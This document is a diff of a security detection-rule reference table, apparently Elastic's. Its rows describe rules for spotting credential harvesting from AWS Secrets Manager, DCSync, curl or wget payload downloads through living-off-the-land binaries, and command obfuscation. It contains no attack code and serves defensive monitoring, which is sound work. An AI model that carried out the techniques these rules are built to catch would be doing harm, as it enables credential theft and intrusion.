+|<<aws-secrets-manager-rapid-secrets-retrieval, AWS Secrets Manager Rapid Secrets Retrieval>> |Identifies rapid secret retrieval activity from AWS Secrets Manager using the GetSecretValue or BatchGetSecretValue API actions. Adversaries who compromise an IAM user, instance role, or temporary credentials may attempt to enumerate or exfiltrate secrets in bulk to escalate privileges, move laterally, or gain persistence. This rule detects 20 or more unique secret retrievals by the same user identity within a short time window, which may indicate credential compromise or automated secret harvesting. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Secrets Manager], [Tactic: Credential Access], [Resources: Investigation Guide] |None |6
+
 |<<aws-service-quotas-multi-region-getservicequota-requests, AWS Service Quotas Multi-Region `GetServiceQuota` Requests>> |Identifies when a single AWS resource is making `GetServiceQuota` API calls for the EC2 service quota L-1216C47A in more than 10 regions within a 30-second window. Quota code L-1216C47A represents on-demand instances which are used by adversaries to deploy malware and mine cryptocurrency. This could indicate a potential threat actor attempting to discover the AWS infrastructure across multiple regions using compromised credentials or a compromised instance. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Service Quotas], [Use Case: Threat Detection], [Tactic: Discovery], [Resources: Investigation Guide] |None |6
 
 |<<aws-sign-in-console-login-with-federated-user, AWS Sign-In Console Login with Federated User>> |Identifies when a federated user logs into the AWS Management Console. Federated users are typically given temporary credentials to access AWS services. If a federated user logs into the AWS Management Console without using MFA, it may indicate a security risk, as MFA adds an additional layer of security to the authentication process. However, CloudTrail does not record whether a Federated User utilized MFA as part of authentication — that MFA decision often occurs at a third-party IdP (e.g., Okta, Azure AD, Google). As a result, CloudTrail fields such as MFAUsed / mfaAuthenticated appear as “No/false” for federated console logins even if IdP MFA was required. This alert should be correlated with IdP authentication logs to verify whether MFA was enforced for the session. Increase priority if you find a related "GetSigninToken" event whose source IP / ASN / geo or user-agent differs from the subsequent "ConsoleLogin" (possible token relay/abuse). Same-IP/UA pairs within a short window are more consistent with expected operator behavior and can be triaged with lower severity. |[Domain: Cloud], [Data Source: Amazon Web Services], [Data Source: AWS], [Data Source: AWS Sign-In], [Use Case: Identity and Access Audit], [Tactic: Initial Access], [Resources: Investigation Guide] |None |5
@@ -274,7 +262,7 @@ and their rule type is `machine_learning`.
 
 |<<access-control-list-modification-via-setfacl, Access Control List Modification via setfacl>> |This rule detects Linux Access Control List (ACL) modification via the setfacl command. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Auditd Manager], [Data Source: Crowdstrike], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |106
 
-|<<access-to-a-sensitive-ldap-attribute, Access to a Sensitive LDAP Attribute>> |Identify access to sensitive Active Directory object attributes that contains credentials and decryption keys such as unixUserPassword, ms-PKI-AccountCredentials and msPKI-CredentialRoamingTokens. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Tactic: Privilege Escalation], [Use Case: Active Directory Monitoring], [Data Source: Active Directory], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |116
+|<<access-to-a-sensitive-ldap-attribute, Access to a Sensitive LDAP Attribute>> |Identify access to sensitive Active Directory object attributes that contains credentials and decryption keys such as unixUserPassword, ms-PKI-AccountCredentials and msPKI-CredentialRoamingTokens. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Tactic: Privilege Escalation], [Use Case: Active Directory Monitoring], [Data Source: Active Directory], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |117
 
 |<<accessing-outlook-data-files, Accessing Outlook Data Files>> |Identifies commands containing references to Outlook data files extensions, which can potentially indicate the search, access, or modification of these files. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Collection], [Data Source: Elastic Defend], [Rule Type: BBR], [Data Source: Sysmon], [Data Source: Elastic Endgame], [Data Source: Windows Security Event Logs] |None |108
 
@@ -282,7 +270,7 @@ and their rule type is `machine_learning`.
 
 |<<account-discovery-command-via-system-account, Account Discovery Command via SYSTEM Account>> |Identifies when the SYSTEM account uses an account discovery utility. This could be a sign of discovery activity after an adversary has achieved privilege escalation. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Discovery], [Tactic: Privilege Escalation], [Resources: Investigation Guide], [Data Source: Elastic Defend], [Data Source: Sysmon] |None |214
 
-|<<account-password-reset-remotely, Account Password Reset Remotely>> |Identifies an attempt to reset a potentially privileged account password remotely. Adversaries may manipulate account passwords to maintain access or evade password duration policies and preserve compromised credentials. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Impact], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |220
+|<<account-password-reset-remotely, Account Password Reset Remotely>> |Identifies an attempt to reset a potentially privileged account password remotely. Adversaries may manipulate account passwords to maintain access or evade password duration policies and preserve compromised credentials. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Impact], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |221
 
 |<<account-or-group-discovery-via-built-in-tools, Account or Group Discovery via Built-In Tools>> |Adversaries may use built-in applications to get a listing of local system or domain accounts and groups. |[Domain: Endpoint], [OS: Linux], [OS: macOS], [Use Case: Threat Detection], [Tactic: Discovery], [Rule Type: BBR], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Auditd Manager] |None |5
 
@@ -296,9 +284,9 @@ and their rule type is `machine_learning`.
 
 |<<adding-hidden-file-attribute-via-attrib, Adding Hidden File Attribute via Attrib>> |Adversaries can add the 'hidden' attribute to files to hide them from the user in an attempt to evade detection. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Persistence], [Data Source: Elastic Endgame], [Resources: Investigation Guide], [Data Source: Elastic Defend], [Data Source: Windows Security Event Logs], [Data Source: Microsoft Defender for Endpoint], [Data Source: Sysmon], [Data Source: SentinelOne], [Data Source: Crowdstrike] |None |319
 
-|<<adminsdholder-backdoor, AdminSDHolder Backdoor>> |Detects modifications in the AdminSDHolder object. Attackers can abuse the SDProp process to implement a persistent backdoor in Active Directory. SDProp compares the permissions on protected objects with those defined on the AdminSDHolder object. If the permissions on any of the protected accounts and groups do not match, the permissions on the protected accounts and groups are reset to match those of the domain's AdminSDHolder object, regaining their Administrative Privileges. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Persistence], [Use Case: Active Directory Monitoring], [Data Source: Active Directory], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |214
+|<<adminsdholder-backdoor, AdminSDHolder Backdoor>> |Detects modifications in the AdminSDHolder object. Attackers can abuse the SDProp process to implement a persistent backdoor in Active Directory. SDProp compares the permissions on protected objects with those defined on the AdminSDHolder object. If the permissions on any of the protected accounts and groups do not match, the permissions on the protected accounts and groups are reset to match those of the domain's AdminSDHolder object, regaining their Administrative Privileges. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Persistence], [Use Case: Active Directory Monitoring], [Data Source: Active Directory], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |215
 
-|<<adminsdholder-sdprop-exclusion-added, AdminSDHolder SDProp Exclusion Added>> |Identifies a modification on the dsHeuristics attribute on the bit that holds the configuration of groups excluded from the SDProp process. The SDProp compares the permissions on protected objects with those defined on the AdminSDHolder object. If the permissions on any of the protected accounts and groups do not match, the permissions on the protected accounts and groups are reset to match those of the domain's AdminSDHolder object, meaning that groups excluded will remain unchanged. Attackers can abuse this misconfiguration to maintain long-term access to privileged accounts in these groups. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Persistence], [Data Source: Active Directory], [Resources: Investigation Guide], [Use Case: Active Directory Monitoring], [Data Source: Windows Security Event Logs] |None |216
+|<<adminsdholder-sdprop-exclusion-added, AdminSDHolder SDProp Exclusion Added>> |Identifies a modification on the dsHeuristics attribute on the bit that holds the configuration of groups excluded from the SDProp process. The SDProp compares the permissions on protected objects with those defined on the AdminSDHolder object. If the permissions on any of the protected accounts and groups do not match, the permissions on the protected accounts and groups are reset to match those of the domain's AdminSDHolder object, meaning that groups excluded will remain unchanged. Attackers can abuse this misconfiguration to maintain long-term access to privileged accounts in these groups. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Persistence], [Data Source: Active Directory], [Resources: Investigation Guide], [Use Case: Active Directory Monitoring], [Data Source: Windows Security Event Logs] |None |217
 
 |<<administrator-privileges-assigned-to-an-okta-group, Administrator Privileges Assigned to an Okta Group>> |Detects when an administrator role is assigned to an Okta group. An adversary may attempt to assign administrator privileges to an Okta group in order to assign additional permissions to compromised user accounts and maintain access to their target organization. |[Use Case: Identity and Access Audit], [Data Source: Okta], [Tactic: Persistence], [Resources: Investigation Guide] |None |412
 
@@ -308,9 +296,11 @@ and their rule type is `machine_learning`.
 
 |<<adversary-behavior-detected-elastic-endgame, Adversary Behavior - Detected - Elastic Endgame>> |Elastic Endgame detected an Adversary Behavior. Click the Elastic Endgame icon in the event.module column or the link in the rule.reference column for additional information. |[Data Source: Elastic Endgame], [Resources: Investigation Guide] |None |106
 
-|<<agent-spoofing-mismatched-agent-id, Agent Spoofing - Mismatched Agent ID>> |Detects events that have a mismatch on the expected event agent ID. The status "agent_id_mismatch/mismatch" occurs when the expected agent ID associated with the API key does not match the actual agent ID in an event. This could indicate attempts to spoof events in order to masquerade actual activity to evade detection. |[Use Case: Threat Detection], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |104
+|<<agent-spoofing-mismatched-agent-id, Agent Spoofing - Mismatched Agent ID>> |Detects events that have a mismatch on the expected event agent ID. The status "agent_id_mismatch/mismatch" occurs when the expected agent ID associated with the API key does not match the actual agent ID in an event. This could indicate attempts to spoof events in order to masquerade actual activity to evade detection. |[Use Case: Threat Detection], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |105
+
+|<<agent-spoofing-multiple-hosts-using-same-agent, Agent Spoofing - Multiple Hosts Using Same Agent>> |Detects when multiple hosts are using the same agent ID. This could occur in the event of an agent being taken over and used to inject illegitimate documents into an instance as an attempt to spoof events in order to masquerade actual activity to evade detection. |[Use Case: Threat Detection], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |105
 
-|<<agent-spoofing-multiple-hosts-using-same-agent, Agent Spoofing - Multiple Hosts Using Same Agent>> |Detects when multiple hosts are using the same agent ID. This could occur in the event of an agent being taken over and used to inject illegitimate documents into an instance as an attempt to spoof events in order to masquerade actual activity to evade detection. |[Use Case: Threat Detection], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |103
+|<<alerts-in-different-att-ck-tactics-by-host, Alerts in Different ATT&CK Tactics by Host>> |This rule uses alert data to determine when multiple alerts in different phases of an attack involving the same host are triggered and where the accumulated risk score is higher than a defined threshold. Analysts can use this to prioritize triage and response, as these hosts are more likely to be compromised. |[Use Case: Threat Detection], [Rule Type: Higher-Order Rule], [Resources: Investigation Guide] |None |2
 
 |<<alternate-data-stream-creation-execution-at-volume-root-directory, Alternate Data Stream Creation/Execution at Volume Root Directory>> |Identifies the creation of an Alternate Data Stream (ADS) at a volume root directory, which can indicate the attempt to hide tools and malware, as ADSs created in this directory are not displayed by system utilities. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: Microsoft Defender for Endpoint], [Data Source: SentinelOne], [Data Source: Elastic Endgame], [Resources: Investigation Guide] |None |204
 
@@ -426,7 +416,11 @@ and their rule type is `machine_learning`.
 
 |<<azure-compute-restore-point-collections-deleted, Azure Compute Restore Point Collections Deleted>> |Identifies multiple Azure Restore Point Collections being deleted by a single user within a short time period. Restore Point Collections contain recovery points for virtual machines, enabling point-in-time recovery capabilities. Mass deletion of these collections is a common tactic used by adversaries during ransomware attacks to prevent victim recovery or to maximize impact during destructive operations. Multiple deletions in rapid succession may indicate malicious intent. |[Domain: Cloud], [Domain: Storage], [Data Source: Azure], [Data Source: Azure Activity Logs], [Use Case: Threat Detection], [Tactic: Impact], [Resources: Investigation Guide] |None |1
 
-|<<azure-diagnostic-settings-deletion, Azure Diagnostic Settings Deletion>> |Identifies the deletion of diagnostic settings in Azure, which send platform logs and metrics to different destinations. An adversary may delete diagnostic settings in an attempt to evade defenses. |[Domain: Cloud], [Data Source: Azure], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |106
+|<<azure-compute-snapshot-deletion-by-unusual-user-and-resource-group, Azure Compute Snapshot Deletion by Unusual User and Resource Group>> |Identifies when an Azure disk snapshot is deleted by an unusual user in a specific resource group. Snapshots are critical for backup, disaster recovery, and forensic analysis. Adversaries may delete snapshots to prevent data recovery, eliminate forensic evidence, or disrupt backup strategies before executing ransomware or other destructive attacks. Monitoring snapshot deletions is essential for detecting potential attacks targeting backup and recovery capabilities. |[Domain: Cloud], [Domain: Storage], [Data Source: Azure], [Data Source: Azure Activity Logs], [Use Case: Threat Detection], [Tactic: Impact], [Resources: Investigation Guide] |None |1
+
+|<<azure-compute-snapshot-deletions-by-user, Azure Compute Snapshot Deletions by User>> |Identifies when a single user or service principal deletes multiple Azure disk snapshots within a short time period. This behavior may indicate an adversary attempting to inhibit system recovery capabilities, destroy backup evidence, or prepare for a ransomware attack. Mass deletion of snapshots eliminates restore points and significantly impacts disaster recovery capabilities, making it a critical indicator of potentially malicious activity. |[Domain: Cloud], [Domain: Storage], [Data Source: Azure], [Data Source: Azure Activity Logs], [Use Case: Threat Detection], [Tactic: Impact], [Resources: Investigation Guide] |None |1
+
+|<<azure-diagnostic-settings-deletion, Azure Diagnostic Settings Deletion>> |Identifies the deletion of diagnostic settings in Azure, which send platform logs and metrics to different destinations. An adversary may delete diagnostic settings in an attempt to evade defenses. |[Domain: Cloud], [Data Source: Azure], [Data Source: Azure Activity Logs], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |107
 
 |<<azure-entra-id-rare-app-id-for-principal-authentication, Azure Entra ID Rare App ID for Principal Authentication>> |Identifies rare Azure Entra ID apps IDs requesting authentication on-behalf-of a principal user. An adversary with stolen credentials may specify an Azure-managed app ID to authenticate on-behalf-of a user. This is a rare event and may indicate an attempt to bypass conditional access policies (CAP) and multi-factor authentication (MFA) requirements. The app ID specified may not be commonly used by the user based on their historical sign-in activity. |[Domain: Cloud], [Data Source: Azure], [Data Source: Entra ID], [Data Source: Entra ID Sign-in], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Initial Access], [Resources: Investigation Guide] |None |4
 
@@ -528,6 +522,8 @@ and their rule type is `machine_learning`.
 
 |<<command-line-obfuscation-via-whitespace-padding, Command Line Obfuscation via Whitespace Padding>> |Identifies process execution events where the command line value contains a long sequence of whitespace characters or multiple occurrences of contiguous whitespace. Attackers may attempt to evade signature-based detections by padding their malicious command with unnecessary whitespace characters. These observations should be investigated for malicious behavior. |[Domain: Endpoint], [OS: Windows], [OS: macOS], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Execution], [Resources: Investigation Guide] |None |3
 
+|<<command-obfuscation-via-unicode-modifier-letters, Command Obfuscation via Unicode Modifier Letters>> |Identifies the presence of unicode modifier letters in the process command_line. Adversaries sometimes replace ASCII characters with visually similar Unicode modifier letters or combining marks to evade simple string-based detections. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: Elastic Endgame], [Resources: Investigation Guide], [Data Source: Elastic Defend], [Data Source: Windows Security Event Logs], [Data Source: Microsoft Defender for Endpoint], [Data Source: Sysmon], [Data Source: SentinelOne], [Data Source: Crowdstrike] |None |1
+
 |<<command-prompt-network-connection, Command Prompt Network Connection>> |Identifies cmd.exe making a network connection. Adversaries could abuse cmd.exe to download or execute malware from a remote URL. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Execution], [Resources: Investigation Guide], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: SentinelOne] |None |212
 
 |<<command-shell-activity-started-via-rundll32, Command Shell Activity Started via RunDLL32>> |Identifies command shell activity started via RunDLL32, which is commonly abused by attackers to host malicious code. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Execution], [Tactic: Credential Access], [Tactic: Defense Evasion], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: Microsoft Defender for Endpoint], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |313
@@ -598,6 +594,8 @@ and their rule type is `machine_learning`.
 
 |<<curl-socks-proxy-activity-from-unusual-parent, Curl SOCKS Proxy Activity from Unusual Parent>> |This rule detects the use of the `curl` command-line tool with SOCKS proxy options, launched from an unusual parent process. Attackers may use `curl` to establish a SOCKS proxy connection to bypass network restrictions and exfiltrate data or communicate with C2 servers. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Command and Control], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |5
 
+|<<curl-or-wget-egress-network-connection-via-lolbin, Curl or Wget Egress Network Connection via LoLBin>> |This rule detects the execution of curl or wget binaries through a GTFOBin (living-off-the-land) technique in Linux environments. Attackers may exploit these utilities to download and execute malicious files from the internet while attempting to evade detection. The rule specifically targets binaries that are capable of executing shell commands directly from the proxied binary, rather than just spawning a shell. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Execution], [Tactic: Command and Control], [Tactic: Exfiltration], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |1
+
 |<<curl-or-wget-spawned-via-node-js, Curl or Wget Spawned via Node.js>> |This rule detects when Node.js, directly or via a shell, spawns the curl or wget command. This may indicate command and control behavior. Adversaries may use Node.js to download additional tools or payloads onto the system. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Command and Control], [Data Source: Elastic Defend], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |2
 
 |<<cyberark-privileged-access-security-error, CyberArk Privileged Access Security Error>> |Identifies the occurrence of a CyberArk Privileged Access Security (PAS) error level audit event. The event.code correlates to the CyberArk Vault Audit Action Code. |[Data Source: CyberArk PAS], [Use Case: Log Auditing], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |105
@@ -622,13 +620,25 @@ and their rule type is `machine_learning`.
 
 |<<delayed-execution-via-ping, Delayed Execution via Ping>> |Identifies the execution of commonly abused Windows utilities via a delayed Ping execution. This behavior is often observed during malware installation and is consistent with an attacker attempting to evade detection. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Execution], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |7
 
-|<<delegated-managed-service-account-modification-by-an-unusual-user, Delegated Managed Service Account Modification by an Unusual User>> |Detects modifications in the msDS-ManagedAccountPrecededByLink attribute of a delegated managed service account by an unusual subject account. Attackers can abuse this attribute to take over the permission of a target account and inherit it's permissions allowing them to further elevate privileges. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Use Case: Active Directory Monitoring], [Data Source: Active Directory], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |1
+|<<delegated-managed-service-account-modification-by-an-unusual-user, Delegated Managed Service Account Modification by an Unusual User>> |Detects modifications in the msDS-ManagedAccountPrecededByLink attribute of a delegated managed service account by an unusual subject account. Attackers can abuse this attribute to take over the permission of a target account and inherit it's permissions allowing them to further elevate privileges. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Use Case: Active Directory Monitoring], [Data Source: Active Directory], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |2
 
 |<<delete-volume-usn-journal-with-fsutil, Delete Volume USN Journal with Fsutil>> |Identifies use of the fsutil.exe to delete the volume USNJRNL. This technique is used by attackers to eliminate evidence of files created during post-exploitation activities. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: Elastic Endgame], [Resources: Investigation Guide], [Data Source: Elastic Defend], [Data Source: Windows Security Event Logs], [Data Source: Microsoft Defender for Endpoint], [Data Source: Sysmon], [Data Source: SentinelOne], [Data Source: Crowdstrike] |None |314
 
 |<<deprecated-aws-ec2-vm-export-failure, Deprecated - AWS EC2 VM Export Failure>> |Identifies an attempt to export an AWS EC2 instance. A virtual machine (VM) export may indicate an attempt to extract or exfiltrate information. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Use Case: Asset Visibility], [Tactic: Exfiltration], [Tactic: Collection], [Resources: Investigation Guide] |None |210
 
-|<<deprecated-aws-root-login-without-mfa, Deprecated - AWS Root Login Without MFA>> |Identifies attempts to login to AWS as the root user without using multi-factor authentication (MFA). Amazon AWS best practices indicate that the root user should be protected by MFA. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Route53], [Use Case: Identity and Access Audit], [Resources: Investigation Guide], [Tactic: Privilege Escalation] |None |212
+|<<deprecated-aws-elasticache-security-group-created, Deprecated - AWS ElastiCache Security Group Created>> |Identifies when an ElastiCache security group has been created. Amazon EC2-Classic and ElastiCache CacheSecurityGroups have been retired. Modern ElastiCache deployments run in a VPC and use standard EC2 security groups instead. This rule should be retained only for historical log analysis on legacy CloudTrail data. We recommend relying on "AWS EC2 Security Group Configuration Change" rule for network-control changes impacting ElastiCache in VPC-based deployments. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |210
+
+|<<deprecated-aws-elasticache-security-group-modified-or-deleted, Deprecated - AWS ElastiCache Security Group Modified or Deleted>> |Identifies when an ElastiCache security group has been modified or deleted. Amazon EC2-Classic and ElastiCache CacheSecurityGroups have been retired. Modern ElastiCache deployments run in a VPC and use standard EC2 security groups instead. This rule should be retained only for historical log analysis on legacy CloudTrail data. We recommend relying on "AWS EC2 Security Group Configuration Change" rule for network-control changes impacting ElastiCache in VPC-based deployments. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |210
+
+|<<deprecated-aws-rds-cluster-creation, Deprecated - AWS RDS Cluster Creation>> |Identifies the creation of a new Amazon Relational Database Service (RDS) Aurora DB cluster or global database spread across multiple regions. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS RDS], [Use Case: Asset Visibility], [Tactic: Persistence], [Resources: Investigation Guide] |None |210
+
+|<<deprecated-aws-rds-instance-creation, Deprecated - AWS RDS Instance Creation>> |Identifies the creation of an Amazon Relational Database Service (RDS) Aurora database instance. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS RDS], [Use Case: Asset Visibility], [Tactic: Persistence], [Resources: Investigation Guide] |None |210
+
+|<<deprecated-aws-rds-instance-cluster-stoppage, Deprecated - AWS RDS Instance/Cluster Stoppage>> |Identifies that an Amazon Relational Database Service (RDS) cluster or instance has been stopped. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS RDS], [Use Case: Asset Visibility], [Tactic: Impact], [Resources: Investigation Guide] |None |210
+
+|<<deprecated-aws-rds-security-group-creation, Deprecated - AWS RDS Security Group Creation>> |Identifies the creation of an Amazon Relational Database Service (RDS) Security group. Modern RDS deployments run in a VPC and use standard EC2 security groups instead. This rule should be retained only for historical log analysis on legacy CloudTrail data. We recommend relying on "AWS EC2 Security Group Configuration Change" rule for network-control changes impacting RDS in VPC-based deployments. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS RDS], [Tactic: Persistence], [Resources: Investigation Guide] |None |210
+
+|<<deprecated-aws-rds-security-group-deletion, Deprecated - AWS RDS Security Group Deletion>> |Identifies the deletion of an Amazon Relational Database Service (RDS) Security group. Modern RDS deployments run in a VPC and use standard EC2 security groups instead. This rule should be retained only for historical log analysis on legacy CloudTrail data. We recommend relying on "AWS EC2 Security Group Configuration Change" rule for network-control changes impacting RDS in VPC-based deployments. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS RDS], [Tactic: Impact], [Resources: Investigation Guide] |None |210
 
 |<<deprecated-execution-of-file-written-or-modified-by-pdf-reader, Deprecated - Execution of File Written or Modified by PDF Reader>> |Identifies a suspicious file that was written by a PDF reader application and subsequently executed. These processes are often launched via exploitation of PDF applications. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Execution], [Resources: Investigation Guide], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Sysmon] |None |211
 
@@ -686,7 +696,11 @@ and their rule type is `machine_learning`.
 
 |<<egress-connection-from-entrypoint-in-container, Egress Connection from Entrypoint in Container>> |This rule identifies a sequence of events where a process named `entrypoint.sh` is started in a container, followed by a network connection attempt. This sequence indicates a potential egress connection from an entrypoint in a container. An entrypoint is a command or script specified in the Dockerfile and executed when the container starts. Attackers can use this technique to establish a foothold in the environment, escape from a container to the host, or establish persistence. |[Domain: Endpoint], [Domain: Container], [OS: Linux], [Use Case: Threat Detection], [Tactic: Execution], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |5
 
-|<<elastic-agent-service-terminated, Elastic Agent Service Terminated>> |Identifies the Elastic endpoint agent has stopped and is no longer running on the host. Adversaries may attempt to disable security monitoring tools in an attempt to evade detection or prevention capabilities during an intrusion. This may also indicate an issue with the agent itself and should be addressed to ensure defensive measures are back in a stable state. |[Domain: Endpoint], [OS: Linux], [OS: Windows], [OS: macOS], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |110
+|<<elastic-agent-service-terminated, Elastic Agent Service Terminated>> |Identifies the Elastic endpoint agent has stopped and is no longer running on the host. Adversaries may attempt to disable security monitoring tools in an attempt to evade detection or prevention capabilities during an intrusion. This may also indicate an issue with the agent itself and should be addressed to ensure defensive measures are back in a stable state. |[Domain: Endpoint], [OS: Linux], [OS: Windows], [OS: macOS], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |111
+
+|<<elastic-defend-and-email-alerts-correlation, Elastic Defend and Email Alerts Correlation>> |This rule correlates any Elastic Defend alert with an email security related alert by target user name. This may indicate the successful execution of a phishing attack. |[Use Case: Threat Detection], [Rule Type: Higher-Order Rule], [Resources: Investigation Guide], [Data Source: Elastic Defend], [Domain: Email], [Domain: Endpoint] |None |2
+
+|<<elastic-defend-and-network-security-alerts-correlation, Elastic Defend and Network Security Alerts Correlation>> |This rule correlate any Elastic Defend alert with a set of suspicious events from Network security devices like Palo Alto Networks (PANW) and Fortinet Fortigate by host.ip and source.ip. This may indicate that this host is compromised and triggering multi-datasource alerts. |[Use Case: Threat Detection], [Rule Type: Higher-Order Rule], [Resources: Investigation Guide], [Data Source: Elastic Defend], [Data Source: Fortinet], [Data Source: PAN-OS] |None |2
 
 |<<elastic-security-external-alerts, Elastic Security External Alerts>> |Generates a detection alert for each Elastic Security alert written to the configured indices. Enabling this rule allows you to immediately begin investigating Elastic Security alerts in the app. |[Data Source: Elastic Security], [Use Case: Threat Detection], [Resources: Investigation Guide], [Promotion: External Alerts] |None |2
 
@@ -870,7 +884,7 @@ and their rule type is `machine_learning`.
 
 |<<first-time-seen-removable-device, First Time Seen Removable Device>> |Identifies newly seen removable devices by device friendly name using registry modification events. While this activity is not inherently malicious, analysts can use those events to aid monitoring for data exfiltration over those devices. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Initial Access], [Tactic: Exfiltration], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: Microsoft Defender for Endpoint], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |212
 
-|<<firsttime-seen-account-performing-dcsync, FirstTime Seen Account Performing DCSync>> |This rule identifies when a User Account starts the Active Directory Replication Process for the first time. Attackers can use the DCSync technique to get credential information of individual accounts or the entire domain, thus compromising the entire domain. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Tactic: Privilege Escalation], [Use Case: Active Directory Monitoring], [Data Source: Active Directory], [Resources: Investigation Guide], [Data Source: Windows Security Event Logs] |None |117
+|<<firsttime-seen-account-performing-dcsync, FirstTime Seen Account Performing DCSync>> |This rule identifies when a User Account starts the Active Directory Replication Process for the first time. Attackers can use the DCSync technique to get credential information of individual accounts or the entire domain, thus compromising the entire domain. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Tactic: Privilege Escalation], [Use Case: Active Directory Monitoring], [Data Source: Active Directory], [Resources: Investigation Guide], [Data Source: Windows Security Event Logs] |None |118
 
 |<<forbidden-request-from-unusual-user-agent-in-kubernetes, Forbidden Request from Unusual User Agent in Kubernetes>> |This rule detects when a forbidden request is made from an unusual user agent in a Kubernetes environment. Adversary tooling may use non-standard or unexpected user agents to interact with the Kubernetes API, which can indicate an attempt to evade detection or blend in with legitimate traffic. In combination with a forbidden request, this behavior can suggest an adversary is attempting to exploit vulnerabilities or misconfigurations in the Kubernetes cluster. |[Data Source: Kubernetes], [Tactic: Execution], [Resources: Investigation Guide] |None |1
 
@@ -1076,7 +1090,7 @@ and their rule type is `machine_learning`.
 
